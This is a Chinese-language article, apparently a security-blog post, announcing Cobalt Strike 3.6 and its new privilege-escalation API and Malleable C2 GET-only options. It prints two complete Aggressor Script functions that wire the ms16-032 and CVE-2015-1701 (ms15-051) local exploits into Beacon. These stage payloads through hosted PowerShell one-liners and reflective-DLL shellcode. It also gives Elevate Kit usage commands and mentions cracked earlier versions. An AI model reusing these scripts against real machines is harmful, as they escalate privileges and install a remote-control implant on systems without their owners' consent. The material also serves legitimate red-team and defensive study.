简介

Cobalt Strike 3.6版本已经正式发布,此版本新增了一个用于调用Beacon的第三方提权漏洞利用程序的API,并扩展Malleable C2以支持不使用HTTP POST的HTTP C&C。同时该版本还对之前版本中存在的问题进行了修复和改进。目前网上能找到3.5版本的破解版本,

提权API

此版本新增了一个API将提权利用程序集成到Beacon的elevate命令。

下面以FuzzySec发现的ms16-032漏洞为例子,将变型的PowerShell Empire集成到Beacon中:

sub ms16_032_exploit {
    local('$script $oneliner');

    # acknowledge this command
    btask($1, "Tasked Beacon to run " . listener_describe($2) . " via ms16-032");

    # generate a PowerShell script to run our Beacon listener
    $script = artifact($2, "powershell");

    # host this script within this Beacon
    $oneliner = beacon_host_script($1, $script);

    # task Beacon to run this exploit with our one-liner that runs Beacon
    bpowershell_import!($1, script_resource("modules/Invoke-MS16032.ps1"));
    bpowerpick!($1, "Invoke-MS16032 -Command \" $+ $oneliner $+ \"");

    # give it another 10s to work.
    bpause($1, 10000);

    # handle staging
    bstage($1, $null, $2);
}

beacon_exploit_register("ms16-032", "Secondary Logon Handle Privilege Escalation (CVE-2016-099)", &ms16_032_exploit);

接下来,我们试试别的。Metasploit框架应用了许多依照反射DLL(Reflective DLLs)注入原理提权的exploit。

Metasploit提权利用攻击的流程

首先生成一个patsy进程,其次将exploit注射到patsy进程,之后将stager shellcode payload注射到patsy进程,最后运行exploit DLL时通过一个指针指向已经完成注射的shellcode。

可能你会有疑问,是否还能在Beacon中使用这些DLL?得益于Aggressor Script中的bdllspawn函数我们依旧可以在Beacon中使用这些DLL。这个函数调用一个作用于Beacon post-exploitatio的反射DLL,它可以向DLL传递一个任意参数,并且可以监控标准输出。

以下脚本为使用ms15_051_client_copy_image的Beacon payload:

sub ms15_051_exploit {
    # acknowledge this command
    btask($1, "Task Beacon to run " . listener_describe($2) . " via ms15-051");

    # tune our parameters based on the target arch
    if (-is64 $1) {
        $arch   = "x64";
        $dll    = "modules/cve-2015-1701.x64.dll";
    }
    else {
        $arch   = "x86";
        $dll    = "modules/cve-2015-1701.x86.dll";
    }

    # generate our shellcode
    $stager = shellcode($2, false, $arch);

    # make sure we have shellcode for this listener (some stagers are x86 only)
    if ($stager is $null) {
        berror($1, "No $arch stager for listener ' $+ $2 $+ '");
        return;
    }

    # spawn a Beacon post-ex job with the exploit DLL
    bdllspawn!($1, script_resource($dll), $stager, "ms15-051", 5000);

    # stage our payload (if this is a bind payload)
    bstage($1, $null, $2, $arch);
}

beacon_exploit_register("ms15-051", "Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)", &ms15_051_exploit);

这些函数使得你的团队能更轻松的集成Cobalt Strike自定义功能,以及在Beacon中快速适配新的漏洞。

提权套件

如果你想了解更多提权相关的范例,可以查看Elevate Kit。此外还可以查阅Aggressor Script,该文演示了如何在Cobalt Strike的Beacon payload中使用PowerShell以及反射DLL exploit。

Elevate Kit使用方法:下载ElevateKit文件并将其提取到Cobalt Strike,进入Cobalt Strike -> Scripts,单击Load,然后选择elevate.cna

在Beacon中:键入elevate可查看当前加载的exploit列表。键入elevate [exploit name] [listener]针对当前Beacon会话实施利用。

Malleable C2

以下截图为Beacon与webbug_getonly profile的通信数据。

你可以猜到哪边是Beacon对Cobalt Strike发起的下载任务请求? 哪边是Beacon对Cobalt Strike做出的响应?

提权利器Cobalt Strike发布3.6版本-RadeBit瑞安全

本版本通过使用Malleable C2很大程度上增强了Beacon的HTTP通信的灵活性。你现在可以为Beacon的http-get和http-post处理方式设置HTTP动词。同时还可以将Beacon的响应推送到URI、数据头或参数中。而且Beacon将其响应自动分块(并使用多个请求)以适应HTTP GET-only通道的约束。

如果你喜欢对配置文件的技巧以及分析发起挑战,我想这会带给你更多的乐趣。此外这些变化还使得“模拟”不同恶意软件的HTTP通信数据变得更精确。

点击发行说明查看Cobalt Strike 3.6中的新特性的完整列表。授权用户可使用更新程序获取更新,同时提供21天试用的Cobalt Strike trial版本也发布了。

注:由于美国出口控制要求,你得全局科学访问该使用版本下载页面。另外试用版本没有对Beacon任务以及响应加密,仅建议在实验环境下使用,切勿在生产环境下使用!授权用户则无此限制。